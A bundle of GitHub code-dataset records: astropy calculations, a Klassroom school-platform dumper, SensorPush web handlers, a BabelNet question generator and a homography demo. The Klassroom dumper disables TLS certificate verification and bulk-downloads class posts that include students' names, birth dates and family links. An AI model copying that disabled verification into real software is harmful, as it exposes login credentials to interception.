4*G*r_acc**2 )\nrho_th = rho_th.to(u.g / u.cm**3)\nprint(f\"sink_density_thres : {rho_th:.7E}\")\nprint(f\"isothermal_dens_thres : {rho_th/2:.7E}\")\n\n# virial parameter\nsigma_v = c_s * mach\nalpha_vir = (5*sigma_v**2*x_max) / (3*G*M_tot)\nalpha_vir = alpha_vir.to(u.dimensionless_unscaled)\nprint(f\"virial parameter : {alpha_vir:.4f}\")\n\n# free-fall time\nt_ff = np.sqrt(3*np.pi/(32*G*rho_0)).to(u.s)\nprint(f\"free-fall time : {t_ff:.4E}\")\nprint(f\"(in Turb. crs. time) : {t_ff/T_turb:.4f}\")\n", "repo_name": "dongheenam/flash-hdf5-tools", "sub_path": "calculate.py", "file_name": "calculate.py", "file_ext": "py", "file_size_in_byte": 1409, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "astropy.units.km", "line_number": 7, "usage_type": "attribute"}, {"api_name": "astropy.units", "line_number": 7, "usage_type": "name"}, {"api_name": "astropy.units.s", "line_number": 7, "usage_type": "attribute"}, {"api_name": "astropy.units.solMass", "line_number": 9, "usage_type": "attribute"}, {"api_name": "astropy.units", "line_number": 9, "usage_type": "name"}, {"api_name": "astropy.units.pc", "line_number": 10, "usage_type": "attribute"}, {"api_name": "astropy.units", "line_number": 10, "usage_type": "name"}, {"api_name": "astropy.units.cm", "line_number": 14, "usage_type": "attribute"}, {"api_name": "astropy.units", "line_number": 14, "usage_type": "name"}, {"api_name": "astropy.units.g", "line_number": 18, "usage_type": "attribute"}, {"api_name": "astropy.units", "line_number": 18, "usage_type": "name"}, {"api_name": "astropy.units.g", "line_number": 22, "usage_type": "attribute"}, {"api_name": "astropy.units", "line_number": 22, "usage_type": "name"}, {"api_name": "astropy.units.cm", "line_number": 22, "usage_type": "attribute"}, {"api_name": "astropy.units.cm", "line_number": 26, "usage_type": "attribute"}, {"api_name": "astropy.units", "line_number": 26, "usage_type": "name"}, {"api_name": "astropy.units.s", "line_number": 26, "usage_type": "attribute"}, {"api_name": "astropy.units.s", "line_number": 29, "usage_type": "attribute"}, {"api_name": "astropy.units", "line_number": 29, "usage_type": "name"}, {"api_name": "astropy.units.cm", "line_number": 33, "usage_type": "attribute"}, {"api_name": "astropy.units", "line_number": 33, "usage_type": "name"}, {"api_name": "numpy.pi", "line_number": 38, "usage_type": "attribute"}, {"api_name": "astropy.constants.G", "line_number": 38, "usage_type": "name"}, {"api_name": "astropy.units.g", "line_number": 39, "usage_type": "attribute"}, {"api_name": "astropy.units", "line_number": 39, "usage_type": "name"}, {"api_name": "astropy.units.cm", "line_number": 39, "usage_type": "attribute"}, {"api_name": "astropy.constants.G", "line_number": 45, "usage_type": "name"}, {"api_name": "astropy.units.dimensionless_unscaled", "line_number": 46, "usage_type": "attribute"}, {"api_name": "astropy.units", "line_number": 46, "usage_type": "name"}, {"api_name": "numpy.sqrt", "line_number": 50, "usage_type": "call"}, {"api_name": "numpy.pi", "line_number": 50, "usage_type": "attribute"}, {"api_name": "astropy.constants.G", "line_number": 50, "usage_type": "name"}, {"api_name": "astropy.units.s", "line_number": 50, "usage_type": "attribute"}, {"api_name": "astropy.units", "line_number": 50, "usage_type": "name"}]} {"seq_id": "27391585966", "text": "import datetime\nimport json\nimport logging\nimport os\nimport pprint\nimport re\nimport sys\n\nimport requests\n\nimport urllib3\nurllib3.disable_warnings()\n\n\nlogging.basicConfig(level=logging.INFO)\n\nWEB_HOST = \"www.klass.ly\"\nAPI_HOST = \"api2.klassroom.co\"\nWEB_URL = f\"https://{WEB_HOST}/\"\nAUTH_URL = f\"https://{API_HOST}/auth.basic\"\nCONNECT_URL = f\"https://{API_HOST}/app.connect\"\nHISTORY_URL = f\"https://{API_HOST}/klass.history\"\n\n\nclass User:\n def __init__(self, user_data, klassroom):\n logging.debug(\"Users __init__\")\n self.klassroom = klassroom\n self._user_data = user_data\n logging.info(f\"Got {self.name}\")\n\n @property\n def name(self):\n try:\n return self._user_data[\"name\"]\n except KeyError:\n return None\n\n @property\n def id(self):\n try:\n return self._user_data[\"id\"]\n except KeyError:\n return None\n\n @property\n def main_image_url(self):\n try:\n return self._user_data[\"main_image_url\"]\n except KeyError:\n return None\n\n @property\n def thumb_image_url(self):\n try:\n return self._user_data[\"thumb_image_url\"]\n except KeyError:\n return None\n\n\nclass Klassroom:\n def __init__(self, phone, password):\n # Initialize base properties\n logging.debug('Klassroom __init__')\n self.session = requests.session()\n self.session.proxies = None #{'http': '10.0.0.165:8080', 'https': '10.0.0.165:8080'}\n self.session.verify = False\n self.session.headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0'}\n self.web_device = None\n self.app_id = None\n self._auth_data = None\n self._klassroom_data = None\n self.users = {}\n self.klasses = {}\n self.klassroomauth = 'delete'\n\n # Initialize credentials\n self.phone = phone\n self.password = password\n\n # Initialize session\n self.frontpage()\n self.connect()\n self.authenticate()\n self.frontpage()\n self.connect()\n self.get_klasses()\n\n\n def get_users(self):\n self.users = {k: User(v, self)\n for k, v\n in self._klassroom_data[\"users\"].items()}\n\n def get_klasses(self):\n self.klasses = {k: Klass(v, self)\n for k, v\n in self._klassroom_data[\"klasses\"].items()}\n\n @property\n def auth_token(self):\n if self._auth_data is not None:\n return self._auth_data['auth_token']\n else:\n return 'null'\n\n @property\n def post_data(self):\n return {'auth_token': self.auth_token,\n 'device': self.web_device,\n 'app_id': self.app_id,\n 'version': '4.0',\n 'culture': 'fr',\n 'gmt_offset': '-60',\n 'tz': 'Europe/Paris',\n 'dst': 'true'}\n\n def frontpage(self):\n logging.info(WEB_URL)\n r = self.session.get(WEB_URL)\n self.klassroomauth = re.search(r'klassroomauth=([0-9a-z]+)\"', r.text).group(1)\n logging.info(f'klassroomauth : {self.klassroomauth}')\n self.web_device = self.session.cookies['klassroom_device']\n logging.info(f'Got web_device: {self.web_device}')\n bundel_url = re.search(r'js/_react/dist/bundle.*.js', r.text).group(0)\n response = self.session.get(WEB_URL + bundel_url)\n self.app_id = re.search(r'APP_ID:\"([0-9a-f]+)\",', response.text).group(1)\n logging.info(f'Got app_id: {self.app_id}')\n\n logging.info(f'{WEB_URL}_data/klassroomauth?klassroomauth={self.klassroomauth}')\n self.session.get(f'{WEB_URL}_data/klassroomauth?klassroomauth={self.klassroomauth}')\n\n\n def authenticate(self):\n logging.info('Klassroom authenticate')\n post_data = {'phone': self.phone,\n 'password': self.password}\n post_data.update(self.post_data)\n response = self.session.post(AUTH_URL, data=post_data)\n self._auth_data = response.json()\n self.session.cookies[\"klassroom_token\"] = self.auth_token\n\n def connect(self):\n logging.info('Klassroom connect')\n response = self.session.post(CONNECT_URL, data=self.post_data)\n self._klassroom_data = response.json()\n\n \nclass Student:\n def __init__(self, student, klass):\n logging.debug('Student __init__')\n self.klass = klass\n self._student_data = student \n\n @property\n def family(self):\n return [(v, self.klass.klassroom.users[k]) for k, v in self._student_data['members'].items()]\n\n @property\n def gender(self):\n try:\n return self._student_data['gender'] \n except KeyError:\n return None\n\n @property\n def dob(self):\n try:\n return self._student_data['dob'] \n except KeyError:\n return None\n\n @property\n def name(self):\n try:\n return f\"{self._student_data['first_name']} {self._student_data['last_name']}\"\n except KeyError:\n return None\n\n @property\n def main_image_url(self):\n try:\n return self._student_data[\"main_image_url\"]\n except KeyError:\n return None\n\n @property\n def thumb_image_url(self):\n try:\n return self._student_data[\"thumb_image_url\"]\n except KeyError:\n return None\n\n\nclass Klass:\n def __init__(self, klass, klassroom):\n # Initialize base\n logging.debug('Klass __init__')\n self.klassroom = klassroom\n self._klass_data = klass\n self.students = {}\n self.get_students()\n self.posts = {}\n self.get_post_history()\n logging.info(f'Got {self.name} {self.school_name} ({self.level})')\n\n def get_students(self):\n logging.info('Klass get_students')\n self.students = {k: Student(v, self)\n for k, v\n in self._klass_data['students'].items()}\n\n @property\n def school_name(self):\n try:\n return self._klass_data[\"school\"][\"name\"]\n except KeyError:\n return None\n\n @property\n def id(self):\n try:\n return self._klass_data[\"id\"]\n except KeyError:\n return None\n\n @property\n def level(self):\n try:\n return self._klass_data[\"level\"]\n except KeyError:\n return None\n\n @property\n def key(self):\n try:\n return self._klass_data[\"key\"]\n except KeyError:\n return None\n\n @property\n def name(self):\n try:\n return self._klass_data[\"natural_name\"]\n except KeyError:\n return None\n\n @property\n def organization(self):\n try:\n return self._klass_data[\"organization\"]\n except KeyError:\n return None\n\n def get_post_history(self):\n min_date = ''\n post_data = {'id': self.id,\n 'filter': 'all',\n 'type': 'post',\n 'from': '0'}\n post_data.update(self.klassroom.post_data)\n finished = False\n while not finished:\n response = self.klassroom.session.post(HISTORY_URL, data=post_data)\n try:\n min_date = min([post[\"date\"] for post in response.json()[\"posts\"].values()])\n except:\n break\n self.posts.update({k: Post(p, self)\n for k, p\n in response.json()[\"posts\"].items()})\n logging.info(f'mindate : {min_date}')\n post_data['from'] = f'{min_date - 1}'\n\n\nclass Attachment:\n def __init__(self, attachment, post):\n # Initialize base\n logging.debug('Attachment __init__')\n self.post = post\n self._attachment_data = attachment\n\n\n\n\n @property\n def thumb_url(self):\n try:\n return self._attachment_data[\"thumb_url\"]\n except KeyError:\n return None\n\n @property\n def url(self):\n try:\n return self._attachment_data[\"url\"]\n except KeyError:\n return None\n\n @property\n def name(self):\n try:\n return self._attachment_data[\"name\"]\n except KeyError:\n return None\n\n def is_image(self):\n try:\n return self._attachment_data[\"type\"] == \"image\"\n except KeyError:\n return False\n\n def download(self):\n session = self.post.klass.klassroom.session\n filename = os.path.join(self.post.klass.name, self.post.date.strftime(\"%d-%m-%Y_%H-%M-%S-\") + self.name)\n filefullpath = os.path.join('/mnt/KlassLy/', self.post.klass.name, self.post.date.strftime(\"%d-%m-%Y_%H-%M-%S-\") + self.name)\n if os.path.exists(filefullpath):\n logging.info(f'Skip {filename}')\n return\n if self.url.endswith('m3u8'):\n r = session.get(self.url)\n reso_url = \"\"\n for line in r.content.splitlines():\n if line.endswith(b'm3u8'):\n if not line.startswith(b'https'):\n line = b'https://www.klass.ly/_data' + line\n reso_url = line\n logging.info(f\"reso_url : {reso_url}\")\n with open(filefullpath, 'wb') as a:\n r = session.get(reso_url)\n for line in r.content.splitlines():\n if line.endswith(b'ts'):\n logging.info(f'Reading {line}...')\n a.write(session.get(line).content)\n os.utime(filefullpath, (self.post.date.timestamp(), self.post.date.timestamp()))\n logging.info(f'video downloaded : {filename}')\n\n else:\n if 'data.klassroom.co/img/' in self.url:\n new_url = self.url.replace('https://data.klassroom.co/img/', 'https://www.klass.ly/_data/img/')\n headers = {'Host': 'www.klass.ly', 'Sec-Fetch-Dest': 'image', 'Sec-Fetch-Mode': 'no-cors', 'Sec-Fetch-Site': 'same-origin', 'Pragma': 'no-cache', 'Cache-Control': 'no-cache', 'Accept': 'image/avif,image/webp,*/*'}\n r = session.get(new_url, cookies=session.cookies.get_dict(), headers=headers) \n else:\n try:\n r = session.get(self.url)\n except:\n logging.info(self._attachment_data)\n logging.info(self.post._post_data)\n return\n if r.status_code == 200:\n with open(filefullpath, 'wb') as a:\n a.write(r.content)\n logging.info(f'file downloaded : {filename}')\n else:\n logging.error(f'{r.status_code} : {new_url}')\n\n\n\nclass Post:\n def __init__(self, post, klass):\n # Initialize base\n logging.debug('Post __init__')\n self.klass = klass\n self._post_data = post\n self.attachments = {}\n self.get_attachments()\n\n @property\n def text(self):\n try:\n return self._post_data[\"text\"]\n except KeyError:\n return None\n\n @property\n def date(self):\n try:\n return datetime.datetime.fromtimestamp(self._post_data[\"date\"] / 1000)\n except KeyError:\n return None\n\n def get_attachments(self):\n self.attachments = {k: Attachment(a, self)\n for k, a \n in self._post_data['attachments'].items()}\n \n \nif __name__ == '__main__':\n kr = Klassroom(*sys.argv[1:3])\n for klass in kr.klasses.values():\n logging.info(f'Classe : {klass.name}')\n os.makedirs(os.path.join('/mnt/KlassLy', klass.name), exist_ok=True)\n for post in klass.posts.values():\n for attachment in post.attachments.values():\n attachment.download()\n\n", "repo_name": "ugrash2097/dump_klassroom", "sub_path": "klassroom_dumper.py", "file_name": "klassroom_dumper.py", "file_ext": "py", "file_size_in_byte": 12012, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "urllib3.disable_warnings", "line_number": 12, "usage_type": "call"}, {"api_name": "logging.basicConfig", "line_number": 15, "usage_type": "call"}, {"api_name": "logging.INFO", "line_number": 15, "usage_type": "attribute"}, {"api_name": "logging.debug", "line_number": 27, "usage_type": "call"}, {"api_name": "logging.info", "line_number": 30, "usage_type": "call"}, {"api_name": "logging.debug", "line_number": 64, "usage_type": "call"}, {"api_name": "requests.session", "line_number": 65, "usage_type": "call"}, {"api_name": "logging.info", "line_number": 119, "usage_type": "call"}, {"api_name": "re.search", "line_number": 121, "usage_type": "call"}, {"api_name": "logging.info", "line_number": 122, "usage_type": "call"}, {"api_name": "logging.info", "line_number": 124, "usage_type": "call"}, {"api_name": "re.search", "line_number": 125, "usage_type": "call"}, {"api_name": "re.search", "line_number": 127, "usage_type": "call"}, {"api_name": "logging.info", "line_number": 128, "usage_type": "call"}, {"api_name": "logging.info", "line_number": 130, "usage_type": "call"}, {"api_name": "logging.info", "line_number": 135, "usage_type": "call"}, {"api_name": "logging.info", "line_number": 144, "usage_type": "call"}, {"api_name": "logging.debug", "line_number": 151, "usage_type": "call"}, {"api_name": "logging.debug", "line_number": 198, "usage_type": "call"}, {"api_name": "logging.info", "line_number": 205, "usage_type": "call"}, {"api_name": "logging.info", "line_number": 208, "usage_type": "call"}, {"api_name": "logging.info", "line_number": 272, "usage_type": "call"}, {"api_name": "logging.debug", "line_number": 279, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 315, "usage_type": "call"}, {"api_name": "os.path", "line_number": 315, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 316, "usage_type": "call"}, {"api_name": "os.path", "line_number": 316, "usage_type": "attribute"}, {"api_name": "os.path.exists", "line_number": 317, "usage_type": "call"}, {"api_name": "os.path", "line_number": 317, "usage_type": "attribute"}, {"api_name": "logging.info", "line_number": 318, "usage_type": "call"}, {"api_name": "logging.info", "line_number": 328, "usage_type": "call"}, {"api_name": "logging.info", "line_number": 333, "usage_type": "call"}, {"api_name": "os.utime", "line_number": 335, "usage_type": "call"}, {"api_name": "logging.info", "line_number": 336, "usage_type": "call"}, {"api_name": "logging.info", "line_number": 347, "usage_type": "call"}, {"api_name": "logging.info", "line_number": 348, "usage_type": "call"}, {"api_name": "logging.info", "line_number": 353, "usage_type": "call"}, {"api_name": "logging.error", "line_number": 355, "usage_type": "call"}, {"api_name": "logging.debug", "line_number": 362, "usage_type": "call"}, {"api_name": "datetime.datetime.fromtimestamp", "line_number": 378, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 378, "usage_type": "attribute"}, {"api_name": "sys.argv", "line_number": 389, "usage_type": "attribute"}, {"api_name": "logging.info", "line_number": 391, "usage_type": "call"}, {"api_name": "os.makedirs", "line_number": 392, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 392, "usage_type": "call"}, {"api_name": "os.path", "line_number": 392, "usage_type": "attribute"}]} {"seq_id": "36799000072", "text": "import random\nimport json\n\ncontent_file = 'data_content/content_api.json'\nquote_file = 'data_content/quotes_api.json'\n\n\n# some thoughts, this method is being called mutliple times,\n# it might get expensive as we are calling get_article_via_content_api \n# each time we call get_home_page_article, get_aritcle_by_uuid, get_random_article, \n# another better way of doing this might be to just have the \n# get_articles_via_content_api called once and just pass in the results as \n# a parameter to methods instead, but due to time \n#constraint will leave it like this for now\ndef get_articles_via_content_api():\n with open(content_file) as content_json_file:\n content_data = json.load(content_json_file)\n content_json_file.close()\n return content_data.get('results')\n\n# get stocks from the api \ndef get_stocks_via_content_api():\n with open(quote_file) as quote_json_file:\n quote_data = json.load(quote_json_file)\n quote_json_file.close()\n return quote_data\n\n# look in the articles to find article that \n# has slug of 10-promise and return it\ndef get_homepage_article():\n articles_list = get_articles_via_content_api()\n for article in articles_list:\n for item in article['tags']:\n if item['slug'] == '10-promise':\n return article\n\n# grab the article by uuid, pretty straight forward\ndef get_article_by_uuid(uuid):\n articles_list = get_articles_via_content_api()\n for article in articles_list:\n if article['uuid'] == uuid:\n return article\n\n# get random articles\ndef get_random_articles(count):\n articles_list = get_articles_via_content_api()\n result = []\n\n homepage_article = get_homepage_article() \n # while we have less than 3 or so amount of articles,\n # keep pick a random articles, if the article was already in the \n # result pick another one instead\n # also check to make sure to exclude homepage_article in the result.\n while len(result) < count:\n item = random.choice(articles_list)\n if item !=homepage_article and item not in result:\n result.append(item)\n\n return result\n\n# get random stcoks\ndef get_random_stocks(count):\n stocks_list = get_stocks_via_content_api()\n result = []\n # while we have less than 3 or so amount of stocks,\n # keep pick a random stock, if the stock was already in the \n # result pick another one instead\n while len(result) < count:\n stock = random.choice(stocks_list)\n if stock not in result:\n result.append(stock)\n return result\n", "repo_name": "xiubinzheng/foolapp", "sub_path": "article/utility.py", "file_name": "utility.py", "file_ext": "py", "file_size_in_byte": 2555, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "json.load", "line_number": 17, "usage_type": "call"}, {"api_name": "json.load", "line_number": 24, "usage_type": "call"}, {"api_name": "random.choice", "line_number": 55, "usage_type": "call"}, {"api_name": "random.choice", "line_number": 69, "usage_type": "call"}]} {"seq_id": "4078937537", "text": "\"\"\"Set of handlers related with Sensorpush data\n\"\"\"\n\nimport json\nimport datetime\n\nfrom status.util import SafeHandler\n\n\nclass SensorpushBaseHandler(SafeHandler):\n def get_samples(self, start_days_ago=14):\n # A reasonable start time\n start_time = datetime.datetime.now() - datetime.timedelta(days=start_days_ago)\n start_time_str = start_time.strftime(\"%Y-%m-%dT00:00:00\")\n\n # Fetch all sensor names from the start day\n # If a sensor is missing for that date, it won't be fetched\n sensor_id_view = self.application.sensorpush_db.view(\n \"sensor_id/by_date\", descending=True\n )\n sensors = [row.value for row in sensor_id_view[start_time_str]]\n if sensors == []:\n return {}\n\n # Fetch samples from 1 month ago for each sensor\n samples_view = self.application.sensorpush_db.view(\n \"entire_document/by_sensor_id_and_date\"\n )\n sensor_data = {}\n for sensor_original in sorted(sensors):\n # Make it more suitable to use as a selector.\n sensor = sensor_original.replace(\".\", \"_\")\n sensor_data[sensor] = {\n \"samples\": [],\n \"min_temp\": 800,\n \"max_temp\": -300,\n \"limit_lower\": [],\n \"min_limit_lower\": 800,\n \"limit_upper\": [],\n \"max_limit_upper\": -300,\n \"intervals_lower\": [],\n \"intervals_higher\": [],\n }\n for sensor_daily_row in samples_view[\n [sensor_original, start_time_str]:[sensor_original, \"9999\"]\n ]:\n _, timestamp = sensor_daily_row.key\n doc = sensor_daily_row.value\n sensor_data[sensor][\"samples\"] += doc[\"saved_samples\"]\n sensor_data[sensor][\"intervals_lower\"] += doc[\"intervals_lower\"]\n sensor_data[sensor][\"intervals_higher\"] += doc[\"intervals_higher\"]\n sensor_data[sensor][\"sensor_name\"] = doc[\"sensor_name\"]\n\n min_val = 800\n max_val = -300\n for _, temp_val in doc[\"saved_samples\"]:\n min_val = min(min_val, temp_val)\n max_val = max(max_val, temp_val)\n sensor_data[sensor][\"min_temp\"] = min(\n sensor_data[sensor][\"min_temp\"], min_val\n )\n sensor_data[sensor][\"max_temp\"] = max(\n sensor_data[sensor][\"max_temp\"], max_val\n )\n\n sensor_data[sensor][\"limit_lower\"].append(\n [timestamp, doc[\"limit_lower\"]]\n )\n sensor_data[sensor][\"limit_upper\"].append(\n [timestamp, doc[\"limit_upper\"]]\n )\n if doc[\"limit_lower\"] is not None:\n sensor_data[sensor][\"min_limit_lower\"] = min(\n sensor_data[sensor][\"min_limit_lower\"], doc[\"limit_lower\"]\n )\n if doc[\"limit_upper\"] is not None:\n sensor_data[sensor][\"max_limit_upper\"] = max(\n sensor_data[sensor][\"max_limit_upper\"], doc[\"limit_upper\"]\n )\n\n if sensor_data[sensor][\"max_limit_upper\"] == -300:\n sensor_data[sensor][\"max_limit_upper\"] = None\n\n if sensor_data[sensor][\"min_limit_lower\"] == 800:\n sensor_data[sensor][\"min_limit_lower\"] = None\n\n return sensor_data\n\n\nclass SensorpushDataHandler(SensorpushBaseHandler):\n \"\"\"Serves datapoints for last month of sensorpush temperatures\"\"\"\n\n def get(self):\n start_days_ago = int(self.get_argument(\"start_days_ago\", default=\"14\"))\n sensor_data = self.get_samples(start_days_ago=start_days_ago)\n self.write(json.dumps(sensor_data))\n\n\nclass SensorpushWarningsDataHandler(SensorpushBaseHandler):\n def get(self):\n start_days_ago = int(self.get_argument(\"start_days_ago\", default=\"1\"))\n all_sensor_data = self.get_samples(start_days_ago=start_days_ago)\n sensors_with_warnings = []\n\n for sensor_id, sensor_data in all_sensor_data.items():\n if any([sensor_data[\"intervals_lower\"], sensor_data[\"intervals_higher\"]]):\n sensors_with_warnings.append(sensor_data[\"sensor_name\"])\n\n self.write(json.dumps(sensors_with_warnings))\n\n\nclass SensorpushHandler(SensorpushBaseHandler):\n \"\"\"Serves a page which lists all sensors with temperature info.\"\"\"\n\n def get(self):\n sensor_data = self.get_samples(start_days_ago=28)\n\n t = self.application.loader.load(\"sensorpush.html\")\n self.write(\n t.generate(\n gs_globals=self.application.gs_globals,\n user=self.get_current_user(),\n sensor_data=sensor_data,\n )\n )\n", "repo_name": "SciLifeLab/genomics-status", "sub_path": "status/sensorpush.py", "file_name": "sensorpush.py", "file_ext": "py", "file_size_in_byte": 4878, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 12, "dataset": "github-code", "pt": "7", "api": [{"api_name": "status.util.SafeHandler", "line_number": 10, "usage_type": "name"}, {"api_name": "datetime.datetime.now", "line_number": 13, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 13, "usage_type": "attribute"}, {"api_name": "datetime.timedelta", "line_number": 13, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 96, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 109, "usage_type": "call"}]} {"seq_id": "71254446625", "text": "def extract_main_sense(synset_id, key):\n \"\"\"\n \"\"\"\n import gzip , urllib, urllib.parse, json\n from urllib.request import urlopen, Request\n from io import BytesIO\n service_url = 'https://babelnet.io/v4/getSynset'\n id_synset = synset_id\n params = {'id' : id_synset,'key' : key}\n url = service_url + '?' + urllib.parse.urlencode(params)\n request = Request(url)\n request.add_header('Accept-encoding', 'gzip')\n response = urlopen(request)\n\n if response.info().get('Content-Encoding') == 'gzip':\n buf = BytesIO(response.read())\n f = gzip.GzipFile(fileobj=buf)\n data = json.loads(f.read())\n try:\n return data['mainSense']\n except KeyError:\n return 'CHANGE_KEY_BABELNET'\n\ndef look_for_bigger(string, lst, idx, lst_concepts, first):\n \"\"\"\n \"\"\"\n if string in lst_concepts:\n return 'UNK'\n else:\n idx +=1\n if idx == len(lst):\n return first\n string = string + ' ' + lst[idx]\n if len(string.split()) == len(lst):\n return first\n if string in lst_concepts:\n return string\n else:\n return look_for_bigger(string, lst, idx, lst_concepts, first) \n\ndef extract_question_pattern(question, dict_concepts, synset_ids):\n import nltk\n tokenized_sentence = nltk.word_tokenize(question)\n new_sentence = []\n for idx, token in enumerate(tokenized_sentence):\n new_token = look_for_bigger(token, tokenized_sentence, idx, dict_concepts.values(), first =token)\n if new_sentence != []:\n if new_token in new_sentence[-1]:\n pass\n else:\n new_sentence.append(new_token)\n else:\n new_sentence.append(new_token)\n without_concepts = []\n for word in new_sentence:\n if word in dict_concepts.values():\n without_concepts.append('UNK')\n else:\n without_concepts.append(word)\n return (' '.join(without_concepts), synset_ids)\n\n\ndef build_enriching_tree(onlyQ, selected_synset):\n enriching_tree = {}\n for (q, id1, id2, domain, relation) in onlyQ:\n res = extract_question_pattern(question=q,\n synset_ids=[id1, id2], \n dict_concepts = selected_synset) \n\n q_parsed = res[0][:-1].strip()\n if q_parsed.count('UNK') == 1:\n if domain not in enriching_tree:\n enriching_tree[domain] = {}\n enriching_tree[domain]['synset_ids'] = set(res[1])\n enriching_tree[domain][relation] = set([q_parsed])\n else:\n enriching_tree[domain]['synset_ids'].update(set(res[1]))\n if relation not in enriching_tree[domain]:\n enriching_tree[domain][relation] = set([q_parsed])\n else:\n if q_parsed not in enriching_tree[domain][relation]:\n enriching_tree[domain][relation].add(q_parsed)\n\n return enriching_tree\n\ndef generate_random_question(enriching_tree, domain, selected):\n import random\n one_domain = enriching_tree[domain]\n all_relations = list(set(one_domain.keys()) - set(['synset_ids']))\n random_relation = random.sample(all_relations,1)[0]\n if len(one_domain[random_relation]) == 1:\n random_question = list(one_domain[random_relation])[0]\n else:\n random_question = random.sample(list(one_domain[random_relation]), 1)[0]\n random_concept = random.sample(list(one_domain['synset_ids']), 1)[0]\n custom_q = random_question.replace('UNK', selected[random_concept])\n return (custom_q, random_relation, random_concept)", "repo_name": "FraFabbri/bazingabot", "sub_path": "chatbot_data/modules/Enriching.py", "file_name": "Enriching.py", "file_ext": "py", "file_size_in_byte": 3625, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 7, "dataset": "github-code", "pt": "7", "api": [{"api_name": "urllib.parse.urlencode", "line_number": 10, "usage_type": "call"}, {"api_name": "urllib.parse", "line_number": 10, "usage_type": "attribute"}, {"api_name": "urllib.request.Request", "line_number": 11, "usage_type": "call"}, {"api_name": "urllib.request.urlopen", "line_number": 13, "usage_type": "call"}, {"api_name": "io.BytesIO", "line_number": 16, "usage_type": "call"}, {"api_name": "gzip.GzipFile", "line_number": 17, "usage_type": "call"}, {"api_name": "json.loads", "line_number": 18, "usage_type": "call"}, {"api_name": "nltk.word_tokenize", "line_number": 43, "usage_type": "call"}, {"api_name": "random.sample", "line_number": 90, "usage_type": "call"}, {"api_name": "random.sample", "line_number": 94, "usage_type": "call"}, {"api_name": "random.sample", "line_number": 95, "usage_type": "call"}]} {"seq_id": "17589564760", "text": "#!/usr/bin/env python\n\nfrom __future__ import print_function\n\nfrom setuptools import find_packages, setup\n\nimport versioneer\n\ninstall_requires = [\n 'iso8601',\n 'pytz',\n 'requests',\n 'simplejson',\n 'astropy',\n 'six',\n]\n\ntest_requires = [\n 'voeventdb.server[test]',\n]\n\nextras_require = {\n 'test': test_requires,\n 'all': test_requires,\n}\npackages = find_packages(exclude=('voeventdb.remote.tests',))\nprint(\"FOUND PACKAGES: \", packages)\n\n\nsetup(\n name=\"voeventdb.remote\",\n version=versioneer.get_version(),\n cmdclass=versioneer.get_cmdclass(),\n description=\"Client-library for remotely querying the voeventdb REST API.\",\n author=\"Tim Staley\",\n author_email=\"timstaley337@gmail.com\",\n url=\"https://github.com/timstaley/voeventdb.remote\",\n packages=packages,\n install_requires=install_requires,\n extras_require=extras_require,\n)\n", "repo_name": "timstaley/voeventdb.remote", "sub_path": "setup.py", "file_name": "setup.py", "file_ext": "py", "file_size_in_byte": 880, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "7", "api": [{"api_name": "setuptools.find_packages", "line_number": 26, "usage_type": "call"}, {"api_name": "setuptools.setup", "line_number": 30, "usage_type": "call"}, {"api_name": "versioneer.get_version", "line_number": 32, "usage_type": "call"}, {"api_name": "versioneer.get_cmdclass", "line_number": 33, "usage_type": "call"}]} {"seq_id": "4227864070", "text": "import cv2\nimport numpy as np\nimport os\nimport click\n\nfrom matrix import center_homography\nfrom probability import Gaussian\nfrom lie_group import *\n\n\n@click.command()\n@click.option(\n \"--group-name\",\n type=click.Choice([\"Euclidean\", \"Similarity\", \"Affine\", \"Homography\"]),\n help=\"The Lie Group to visualize.\",\n required=True,\n)\ndef run(group_name: str):\n def noise(sigma: float):\n return Gaussian(0, sigma)\n\n gaussians = {}\n gaussians[\"Euclidean\"] = np.array([noise(1), noise(50), noise(50)])\n gaussians[\"Similarity\"] = np.array([noise(1), noise(50), noise(50), noise(0.3)])\n gaussians[\"Affine\"] = np.array(\n [noise(1), noise(50), noise(50), noise(0.1), noise(0.15), noise(0.15)]\n )\n gaussians[\"Homography\"] = np.array(\n [\n noise(1),\n noise(50),\n noise(50),\n noise(0.1),\n noise(0.1),\n noise(0.1),\n noise(0.0001),\n noise(0.0001),\n ]\n )\n\n group = globals()[group_name]\n\n image_path = os.path.join(\"assets\", f\"{group_name.lower()}.png\")\n image = cv2.imread(image_path)\n image = cv2.resize(image, (500, 500), interpolation=cv2.INTER_CUBIC)\n\n h, w = image.shape[:2]\n H = np.identity(3)\n running = True\n while running:\n H_next = LieGroup.random(group, gaussians.get(group_name))\n\n for t in np.linspace(0, 1, num=60, endpoint=True):\n H_increment = LieGroup.interpolate(H, H_next, t)\n image_warped = cv2.warpPerspective(\n image,\n center_homography(H_increment, w / 2, h / 2),\n (w, h),\n borderMode=cv2.BORDER_CONSTANT,\n borderValue=(255, 255, 255),\n )\n cv2.imshow(f\"Lie Group: {group_name}\", image_warped)\n\n # Close the program by pressing 'q' on the keyboard\n if cv2.waitKey(1) == ord(\"q\"):\n running = False\n break\n\n H = H_next\n\n\nif __name__ == \"__main__\":\n run()\n", "repo_name": "Staticity/slam-ed", "sub_path": "videos/homography/random_geometric_transforms.py", "file_name": "random_geometric_transforms.py", "file_ext": "py", "file_size_in_byte": 2026, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "probability.Gaussian", "line_number": 20, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 23, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 24, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 25, "usage_type": "call"}, {"api_name": "numpy.array", 